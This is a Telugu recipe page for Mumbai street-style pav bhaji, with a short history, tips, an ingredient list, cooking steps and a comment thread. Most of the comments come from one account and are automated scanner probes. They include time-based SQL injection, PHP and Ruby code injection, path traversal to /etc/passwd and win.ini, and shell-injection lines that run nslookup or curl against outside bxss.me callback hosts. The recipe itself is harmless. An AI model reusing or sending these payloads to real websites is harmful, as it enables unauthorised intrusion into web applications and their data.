పావ్ భాజీ

Snacks
5.0 AVERAGE
96 Comments

“పావ్ భాజీ” ఇది ముంబై లో పుట్టిన ఇండియన్ ఫాస్ట్ ఫుడ్. 1850 ప్రాంతాల్లో ముంబై టెక్స్ టైల్ ఇండస్ట్రీస్ లోని కార్మికులకి ఏదైనా త్వరగా అందించే ఫుడ్ అవసరం పడింది, అక్కడున్న పనికి వారికున్న సమయానికి.

ఇది ఓ చిన్న పూరి గుడిసెలో మొదలైంది, అక్కడి నుండి ఇది కార్మికుల స్నాక్ గా మారిపోయింది, ఆ తరువాత అది కాస్త మిల్ ఓనర్ల స్పెషల్, ఆ తరువాత వారి వేడుకల్లో స్పెషల్ రెసిపీ గా మారిపోయింది. ఆ తరువాత స్టార్ హోటళ్ళలోకి వెళ్ళిపోయింది. ఇది స్టార్ హోటళ్ళలో ఎంత అందంగా హంగులతో సర్వ్ చేస్తున్నా , ఎక్కువమంది స్ట్రీట్ సైడ్ దొరికే పావ్ భాజీ నే ఇష్టపడుతుంటారు.

ఇది పుట్టింది ముంబైలోనే అయినా యావత్ దేశమంతా దీనికి అభిమానులున్నారు, ఎవరికి తోచిన విధంగా వారు వారి ప్రాంతాలకు తగినట్లు వారు మసాలాలు మార్చేసుకున్నారు. అలా మార్చినా దీని రుచికి ఫిదానే తిన్న ఎవ్వరైనా! నేను మీకు ఒరిజినల్ పావ్ భాజీ రెసిపీ చెప్తున్నా.

ఇది చేయడం చాలా తేలిక, కొన్ని పద్ధతులు పాటిస్తే పక్కా రెసిపీ గారంటీ!! మేము సాయంత్రాలు రోజు తినే భోజనం, రోటీలు పైన బోరు కొట్టిన రోజు పక్కా దీనితో డిన్నర్ ముగించేస్తాం. కడుపు నిండడంతో పాటు మనసు నిండిపోతుంది. మీకు పక్కా నాలాంటి అనుభూతే కలుగుతుంది, నా కొలతల్లో చేస్తే!

రెసిపీ ప్రింట్ చేయడానికి
Pav Bhaji | How to make Mumbai Street Style Pav Bhaji

టిప్స్

• ఈ రెసిపీ కి బటర్ ఎంత ఎక్కువుంటే అంత రుచి. కొన్ని ఎలా తినాలో అలా తింటేనే అసలు మజా అంతేనా కాదా. కాబట్టి దీని విషయం లో బటర్ వేయడం లో లోటు చేయకండి

• నేను ఫ్రోజెన్ బటాని వాడను అవి త్వరగా మగ్గిపోతాయ్, మీరు తాజా బటానీ వాడుకునేట్లైతే 30 నిమిషాలు వేడి నీటిలో ఉంచి వాడుకోండి, చక్కగా కుక్ అవుతాయ్

• కసూరి మేథీ వేస్తే భాజీ కి మంచి రుచి, కాశ్మీరీ చిల్లి పౌడర్ వేయడం వలన భాజీ మాంచి ఫ్లేవర్ తో పాటు, రంగు వస్తుంది

• మీకు భాజీ బాగా చిక్కగా ఉన్నట్లు అనిపిస్తే మళ్ళీ కాసిని వేడి నీళ్ళు పోసుకుని కుక్ చేసుకోండి

• పావ్ని కాల్చే ముందు బటర్ కరిగించి ఆ బటర్ లో కొందరు ¼ చెంచా పావ్ భాజీ మసాలా, 1 చిటికెడు కసూరి మేథీ, ¼ చెంచా కొత్తిమీర తరుగువేసి దాని పైన పావ్ ఉంచి రెండు వైపులా బటర్ లో ఎర్రగా కాలుస్తారు, మీరు అలా కూడా చేసుకోవచ్చు. నేను జస్ట్ బటర్ లో కాల్చాను అంతే.

More Snacks Recipes

పుట్నాల చిక్కీ| వేపిన సెనగపప్పు పట్టి

కారా బూంది

చేగోడీలు రెసిపి

కొబ్బరి గారెలు| నిమిషాల్లో తయారయ్యే బెస్ట్ స్నాక్

పావ్ భాజీ - రెసిపీ వీడియో

Pav Bhaji | How to make Mumbai Street Style Pav Bhaji

Snacks | vegetarian
  • Prep Time 5 mins
  • Cook Time 30 mins
  • Total Time 35 mins
  • Servings 4
See this Recipe in English

కావాల్సిన పదార్ధాలు

  • 2 tbsps నూనె
  • 1/2 cup బటర్
  • 3/4 cup ఉల్లిపాయ తరుగు
  • 3/4 cup కాప్సికం తరుగు
  • 3/4 cup తాజా బటాని
  • 1 tbsp అల్లం వేల్లూలి పేస్టు
  • 1/2 cup టమాటో తరుగు
  • 3/4 cup మెత్తగా ఉడికిన్చుకున్న బంగాలదుంప
  • 1 tsp కసూరి మేథి
  • 2 tsps పావ్ భాజీ మసాలా పొడి
  • 1 tsp కాశ్మీరీ కారం
  • సాల్ట్
  • 2 tbsps కొత్తిమీర తరుగు
  • 2 పావ్
రెసిపీ ప్రింట్ చేయడానికి

విధానం

  1. పాన్ లో నూనె, 2 tbsps బటర్ కరిగించి అందులో ఉల్లిపాయ, కాప్సికం, బటాని వేసి 2 నిమిషాలు కుక్ చేసుకోండి. అంటే ఉల్లిపాయలు మగ్గేదాక ఫ్రై చేసుకోండి.
  2. ఇప్పుడు అల్లం వెల్లూలి పేస్టు వేసి నిమిషం పాటు ఫ్రై చేసుకుని, టమాటో వేసి మెత్తగా మగ్గించుకోండి.
  3. ఇప్పుడు సాల్ట్, కసూరి మేథి, కారం, పావ్ భాజీ మసాలా వేసి బాగా ఫ్రై చేసుకుని ఉడికిన్చుకున్న బంగాళాదుంప ముద్ద వేసి బాగా కలుపుకోండి.
  4. ఇప్పుడు మేషర్ తో లేదా పప్పు గుత్తితో ఉడికిన వెజిటబుల్స్ అన్నింటిని బాగా మెత్తగా మాష్ చేసుకోండి. ఎంత బాగా మాష్ చేసుకుంటే భాజీ అంత క్రీమీగా ఉంటుంది.
  5. ఇప్పుడు 300 ml నీళ్ళు పోసి హై-ఫ్లేం మీద మెత్తగా మాష్ చేసుకుని దగ్గర పడేదాకా కుక్ చేసుకోండి. భాజీ మరీ ముద్దగా అయితే మరి కాసిని నీళ్ళు పోసుకోండి.
  6. ఇప్పుడు కొత్తిమీర, ¼ కప్ బటర్ వేసి బాగా కలుపుకుంటూ భాజీ దగ్గర పడే దాక కుక్ చేసుకుని దిమ్పెసుకోండి.
  7. ఇప్పుడు 2 tsps బటర్ వేసి కరిగించుకుని దానిమీద పావ్ ని మధ్యకి కట్ చేసి, బటర్ ని బాగా పీల్చుకుని క్రిస్పీగా అయ్యేదాకా రోస్ట్ చేసుకోండి.
  8. ఇప్పుడు భాజీ తో పాటు పావ్, ఇంకా నిమ్మకాయ, ఉల్లిపాయతో వేడి వేడిగా సర్వ్ చేసుకోండి.

Leave a comment

Rate this Recipe:
Your email address will not be published.

96 comments

  • A
    Ajay Harlalkar
    Kintaro red chili oil is the purest and natural form of red colour. Kintaro is prepared by infusing kashmiri chili in the pure sesame oil. The filtered red coloured oil gives natural red colour in seconds. Kintaro has zero pungency so it can be enjoyed by everyone. Kintaro is there where red colour is required.
    2 weeks ago Reply
  • K
    Keerthi
    Recipe Rating:
    Nice but some pics are blur
    1 year ago Reply
  • S
    Sreeya Mallesh
    I don't know cooking...so could you please share easy and simple ingredients recipes..
    1 year ago Reply
  • S
    Sujitha lella
    Recipe Rating:
    You are recipes are just ❤ and vismai uncle is our guide for younger generation 🥰
    2 years ago Reply
  • S
    Srilakshmi
    Recipe Rating:
    Super Teja sir, meri emi chesina chala chakkaga vevaramga cheputharu thank you so much💐
    2 years ago Reply
  • S
    Sushil Kumar Rachuri
    Recipe Rating:
    Now a days every meal is preparing with your videos. After spending hours of time in kitchen, I consumed it in just two minutes
    2 years ago Reply
  • R
    Rasamayi
    Recipe Rating:
    I tried this recipe it was so nice and fantastic 😍😍 love the way of process
    2 years ago Reply
  • B
    Bhanu
    Recipe Rating:
    Super sir
    3 years ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1????%2527%2522\'\"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      @@c8aVN
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      19le8vNBM')) OR 415=(SELECT 415 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1NBn64e7T') OR 358=(SELECT 358 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1LzJWUdZx' OR 104=(SELECT 104 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1)) OR 168=(SELECT 168 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1) OR 361=(SELECT 361 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 OR 334=(SELECT 334 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      14GjSke4O'; waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1); waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1; waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*if(now()=sysdate(),sleep(15),0)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 3+155-155-1=0+0+0+1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 2+155-155-1=0+0+0+1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1ykbQDGRJ
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      [php]print(md5(31337));[/php]
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      {php}print(md5(31337));{/php}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      print(md5(31337));//
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '{${print(md5(31337))}}'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.print(md5(31337)).'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}\
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ";print(md5(31337));$a="
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ';print(md5(31337));$a='
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      gethostbyname(lc('hitme'.'cwbsramgddcb2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(65).chr(99).chr(72)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ".gethostbyname(lc("hitvk"."rpjylfhxe3549.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(68).chr(115).chr(78)."
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.gethostbyname(lc('hitov'.'xpjkwozt638ca.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(68).chr(98).chr(82).'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ./1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      file:///etc/passwd
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      vismaifood.com
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      https://vismaifood.com/
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      xfs.bxss.me
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      pav-bhaji-how-to-make-mumbai-street-style-pav-bhaji/.
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      pav-bhaji-how-to-make-mumbai-street-style-pav-bhaji
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      pav-bhaji-how-to-make-mumbai-street-style-pav-bhaji
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"||sleep(27*1000)*ldyewz||"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||sleep(27*1000)*sapmlc||'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"&&sleep(27*1000)*qqkokb&&"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'&&sleep(27*1000)*cerulg&&'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"()
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      'A'.concat(70-3).concat(22*4).concat(102).concat(82).concat(104).concat(66)+(require'socket' Socket.gethostbyname('hitjl'+'ruqhrkfn5bc1b.bxss.me.')[3].to_s)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+'A'.concat(70-3).concat(22*4).concat(109).concat(87).concat(97).concat(84)+(require'socket' Socket.gethostbyname('hitkw'+'stfnaori1fc1e.bxss.me.')[3].to_s)+'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+"A".concat(70-3).concat(22*4).concat(118).concat(73).concat(107).concat(87)+(require"socket" Socket.gethostbyname("hitev"+"tuyifrac5b26d.bxss.me.")[3].to_s)+"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ^(#$!@#$)(()))******
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      !(()&&!|*|*|
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      bxss.me
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;(nslookup -q=cname hitikqafkpieg430e0.bxss.me||curl hitikqafkpieg430e0.bxss.me)|(nslookup -q=cname hitikqafkpieg430e0.bxss.me||curl hitikqafkpieg430e0.bxss.me)&(nslookup -q=cname hitikqafkpieg430e0.bxss.me||curl hitikqafkpieg430e0.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      c:/windows/win.ini
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      `(nslookup -q=cname hitpmyxoldknf6b4f9.bxss.me||curl hitpmyxoldknf6b4f9.bxss.me)`
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../../../../../../../../../../../../../../etc/shells
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |(nslookup -q=cname hitquiwaoegst293ee.bxss.me||curl hitquiwaoegst293ee.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &(nslookup -q=cname hitzbbabftoeb26ab6.bxss.me||curl hitzbbabftoeb26ab6.bxss.me)&'\"`0&(nslookup -q=cname hitzbbabftoeb26ab6.bxss.me||curl hitzbbabftoeb26ab6.bxss.me)&`'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      /etc/shells
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &nslookup -q=cname hitpodlwfgyua17dd4.bxss.me&'\"`0&nslookup -q=cname hitpodlwfgyua17dd4.bxss.me&`'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://bxss.me/t/fit.txt?.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      $(nslookup -q=cname hiticgdqgeekb2338b.bxss.me||curl hiticgdqgeekb2338b.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      Http://bxss.me/t/fit.txt
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (nslookup -q=cname hitadhbwsnwka9e911.bxss.me||curl hitadhbwsnwka9e911.bxss.me))
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1|echo ruiiwi$()\ mhxthf\nz^xyu||a #' |echo ruiiwi$()\ mhxthf\nz^xyu||a #|" |echo ruiiwi$()\ mhxthf\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |echo dhlmgy$()\ zvoazu\nz^xyu||a #' |echo dhlmgy$()\ zvoazu\nz^xyu||a #|" |echo dhlmgy$()\ zvoazu\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&echo gioifb$()\ sblnia\nz^xyu||a #' &echo gioifb$()\ sblnia\nz^xyu||a #|" &echo gioifb$()\ sblnia\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &echo vqggda$()\ nrvaer\nz^xyu||a #' &echo vqggda$()\ nrvaer\nz^xyu||a #|" &echo vqggda$()\ nrvaer\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&n941947=v971514
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      echo zmobag$()\ kydtce\nz^xyu||a #' &echo zmobag$()\ kydtce\nz^xyu||a #|" &echo zmobag$()\ kydtce\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${9999216+9999248}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      12345'"\'\");|]*{ ?''💡
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      4gM7BPOo: TuYi07WS
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      O4vK99QN
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+response.write(9962993*9359579)+"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+response.write(9962993*9359579)+'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      response.write(9962993*9359579)
      2 weeks ago Reply
Pav Bhaji | How to make Mumbai Street Style Pav Bhaji